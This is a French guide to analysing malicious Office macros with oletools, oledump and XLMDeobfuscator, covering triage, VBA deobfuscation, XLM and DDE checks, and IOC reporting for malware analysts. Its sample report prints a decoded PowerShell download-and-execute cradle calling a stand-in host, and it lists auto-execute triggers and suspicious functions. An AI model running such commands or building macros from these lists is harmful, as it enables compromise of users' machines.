Analyse des macros malveillantes dans les documents Office

Que fait Analyse des macros malveillantes dans les documents Office ?

Quand l'utiliser

• Un document Office suspect (.doc, .docm, .xls, .xlsm, .ppt) a été signalé par la sécurité email
• Enquêter sur des campagnes de phishing qui distribuent des documents Office armés
• Extraire le code macro VBA pour identifier l'URL de téléchargement du payload et la méthode d'exécution
• Analyser le code VBA obfusqué pour comprendre la chaîne d'attaque complète
• Déterminer si un document utilise DDE, ActiveX ou l'injection de modèle distant au lieu de macros

Ne pas utiliser pour analyser les menaces Office non-macro (DDE, injection de modèle distant) ; bien que cette compétence couvre la détection de celles-ci, une analyse spécialisée peut être nécessaire.

Prérequis

• Python 3.8+ avec oletools installé (pip install oletools)
• oledump.py de Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
• VM d'analyse isolée sans Microsoft Office installé (empêche l'exécution accidentelle)
• XLMDeobfuscator pour l'analyse des macros Excel 4.0 (pip install xlmdeobfuscator)
• LibreOffice pour le rendu sécurisé des documents (n'exécute pas les macros VBA par défaut)

Workflow

Étape 1 : Triage initial du document

Déterminer si le document contient des macros ou d'autre contenu actif :

# Triage rapide avec olevba
olevba suspect.docm

# Vérifier les flux OLE et les macros
oleid suspect.docm

# Indicateurs de sortie :
# VBA Macros :        True/False
# XLM Macros :        True/False
# External Relationships : True/False (modèle distant)
# ObjectPool :        True/False (objets intégrés)
# Flash :             True/False (objets SWF)

# Analyse OLE complète
oledump.py suspect.docm

# Lister tous les flux OLE avec indicateurs de macro
# Les flux marqués 'M' contiennent des macros VBA
# Les flux marqués 'm' contiennent des attributs de macro

Étape 2 : Extraire et analyser le code VBA

Extraire le code source complet de la macro VBA :

# Extraire VBA avec déséobfuscation complète
olevba --decode --deobf suspect.docm

# Extraire uniquement le code source VBA
olevba --code suspect.docm > extracted_vba.txt

# Extraction détaillée avec oledump
oledump.py -s 8 -v suspect.docm  # Flux 8 (ajuster selon la liste des flux)

# Extraire tous les flux de macros
oledump.py -p plugin_vba_dco suspect.docm

Éléments VBA clés à identifier :
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Déclencheurs d'auto-exécution :
  - Auto_Open / AutoOpen (Word)
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open (Excel)
  - AutoExec

Fonctions suspectes :
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - Exécution PowerShell
  - URLDownloadToFile
  - MSXML2.XMLHTTP (requêtes HTTP)
  - ADODB.Stream (écriture de fichiers)
  - Environ() (variables d'environnement)
  - CallByName (appels de méthodes indirects)

Étape 3 : Déséobfusquer le code VBA

Supprimer les couches d'obfuscation pour révéler le payload :

# Techniques de déséobfuscation VBA
import re

def deobfuscate_vba(code):
    # 1. Résoudre les appels Chr() : Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)

    # 2. Supprimer la concaténation de chaînes : "htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)

    # 3. Résoudre les appels ChrW : ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)

    # 4. Résoudre StrReverse : StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)

    # 5. Supprimer l'obfuscation Mid$/Left$/Right$ (complexe, marquer pour examen manuel)

    # 6. Résoudre Replace() : Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)

    return code

with open("extracted_vba.txt") as f:
    vba_code = f.read()

deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)

Étape 4 : Analyser les macros Excel 4.0 (XLM)

Traiter les macros Excel héritées qui contournent la détection VBA :

# Détecter les macros XLM
olevba --xlm suspect.xlsm

# Déséobfusquer les macros XLM
xlmdeobfuscator -f suspect.xlsm

# Analyse XLM manuelle avec oledump
oledump.py suspect.xlsm -p plugin_biff.py

# Fonctions de macro XLM (Excel 4.0) à surveiller :
# EXEC()       - Exécuter une commande shell
# CALL()       - Appeler une fonction DLL
# REGISTER()   - Enregistrer une fonction DLL
# URLDownloadToFileA - Télécharger un fichier
# ALERT()      - Afficher un message (ingénierie sociale)
# HALT()       - Arrêter l'exécution
# GOTO()       - Contrôle de flux
# IF()         - Exécution conditionnelle

Étape 5 : Vérifier les vecteurs d'attaque non-macro

Examiner le document pour DDE, modèles distants et objets intégrés :

# Vérifier DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re

z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # Codes de champ DDE
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] DDE trouvé dans {name}')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    Commande : {m}')
        # Modèle distant
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] URL du modèle distant : {url}')
"

# Vérifier les objets OLE intégrés
oledump.py -p plugin_msg.py suspect.docm

# Vérifier les relations pour les références externes
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'Référence externe dans {name} :')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"

Étape 6 : Générer le rapport d'analyse

Documenter l'analyse complète du malware macro :

Le rapport doit inclure :
- Métadonnées du document (auteur, date de création, date de modification)
- Présence et type de macro (VBA, XLM, DDE, modèle distant)
- Déclencheur d'auto-exécution identifié
- Code source VBA déséobfusqué (fonctions clés)
- URL(s) de téléchargement pour les payloads de deuxième étape
- Méthode d'exécution (Shell, WScript, PowerShell, objet COM)
- Description du leurre d'ingénierie sociale
- IOC extraits (URL, domaines, IP, hachages de fichiers)
- Règle YARA pour le modèle de document spécifique

Concepts clés

Terme	Définition
Macro VBA	Code Visual Basic for Applications intégré dans les documents Office pouvant interagir avec le système d'exploitation, télécharger des fichiers et exécuter des commandes
Auto_Open	Procédure événementielle VBA qui s'exécute automatiquement à l'ouverture d'un document Word, principal déclencheur des malwares macro
OLE (Object Linking and Embedding)	Format de document composé Microsoft ; les documents Office sont des conteneurs OLE avec des flux pouvant contenir des macros et des objets
DDE (Dynamic Data Exchange)	Mécanisme IPC Windows hérité abusé dans les documents pour exécuter des commandes sans macros ; déclenché par les mises à jour de code de champ
Injection de modèle distant	Attaque chargeant un modèle contenant des macros depuis une URL distante à l'ouverture du document, contournant la détection initiale de macro
Macros XLM (Excel 4.0)	Langage de macro Excel hérité antérieur à VBA ; stocké dans des feuilles cachées souvent ignoré par les outils d'analyse VBA traditionnels
Protected View	Bac à sable Office qui empêche l'exécution de macros jusqu'à ce que l'utilisateur clique sur "Activer le contenu" ; l'ingénierie sociale cible cette barrière

Outils et systèmes

• oletools (olevba) : Boîte à outils Python pour analyser les fichiers OLE, extraire les macros VBA et détecter les mots-clés suspects et les IOC
• oledump.py : Outil de Didier Stevens pour analyser les flux OLE avec prise en charge des plugins pour la décompression et l'extraction VBA
• XLMDeobfuscator : Outil spécialement conçu pour déséobfusquer les formules de macros Excel 4.0 (XLM)
• ViperMonkey : Moteur d'émulation VBA qui exécute les macros VBA dans un environnement sandboxé pour observer le comportement
• YARA : Correspondance de motifs pour la détection de malwares basés sur les documents utilisant des motifs de chaînes VBA et des indicateurs de structure OLE

Scénarios courants

Scénario : Analyse d'un document de phishing avec macros VBA obfusquées

Contexte : Plusieurs employés ont reçu un email avec un fichier .docm joint prétendant être une facture. Le document invite les utilisateurs à "Activer le contenu" pour voir l'intégralité du document.

Approche :

1. Exécuter oleid pour confirmer la présence de macros VBA et identifier les déclencheurs d'auto-exécution
2. Extraire le code VBA avec olevba --decode --deobf pour une première déséobfuscation
3. Identifier le point d'entrée d'auto-exécution (Auto_Open ou Document_Open)
4. Tracer le flux d'exécution depuis le point d'entrée à travers les fonctions auxiliaires
5. Déséobfusquer la concaténation de chaînes et l'encodage Chr() pour révéler l'URL de téléchargement
6. Identifier la méthode de téléchargement (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
7. Extraire tous les IOC et créer des règles YARA pour le motif d'obfuscation spécifique

Pièges à éviter :

• Ouvrir le document dans Microsoft Office pour une "analyse rapide" au lieu d'utiliser des outils en ligne de commande
• Ignorer le code VBA stocké dans les UserForms (les éléments d'interface graphique peuvent contenir du code dans leurs gestionnaires d'événements)
• Négliger les métadonnées du document qui peuvent contenir des empreintes de l'attaquant (nom d'auteur, nom de modèle)
• Ne pas vérifier la présence à la fois de macros VBA et XLM dans le même document (certains malwares utilisent les deux)

Format de sortie

ANALYSE DE MALWARE MACRO OFFICE
================================
Document :         invoice_q3_2025.docm
SHA-256 :          e3b0c44298fc1c149afbf4c8996fb924...
Type de fichier :  Document Microsoft Word (OOXML avec macros)
Auteur :           Administrator
Date de création : 2025-09-10 14:23:00

ANALYSE MACRO
Type :             Macro VBA
Déclencheur :      AutoOpen()
Flux :             3 flux VBA (ThisDocument, Module1, Module2)

CHAÎNE D'EXÉCUTION DÉSOBFUSQUÉE
1. AutoOpen() -> Appelle Module1.RunPayload()
2. RunPayload() construit la chaîne de commande via concaténation Chr()
3. Commande : powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Décodé : IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')

LEURRE D'INGÉNIERIE SOCIALE
- Le document affiche une fausse image "Document protégé"
- Il invite l'utilisateur à "Activer le contenu" pour voir le document
- Le contenu est flouté/caché jusqu'à l'exécution des macros

IOC EXTRAITS
URL de téléchargement : hxxp://evil[.]com/payload.ps1
Domaine C2 :          evil[.]com
Adresse IP :          185.220.101[.]42
User-Agent :          PowerShell (WebClient par défaut)

MITRE ATT&CK
T1566.001  Phishing : Pièce jointe de spearphishing
T1204.002  Exécution utilisateur : Fichier malveillant
T1059.001  Interpréteur de commandes et de scripts : PowerShell
T1059.005  Interpréteur de commandes et de scripts : Visual Basic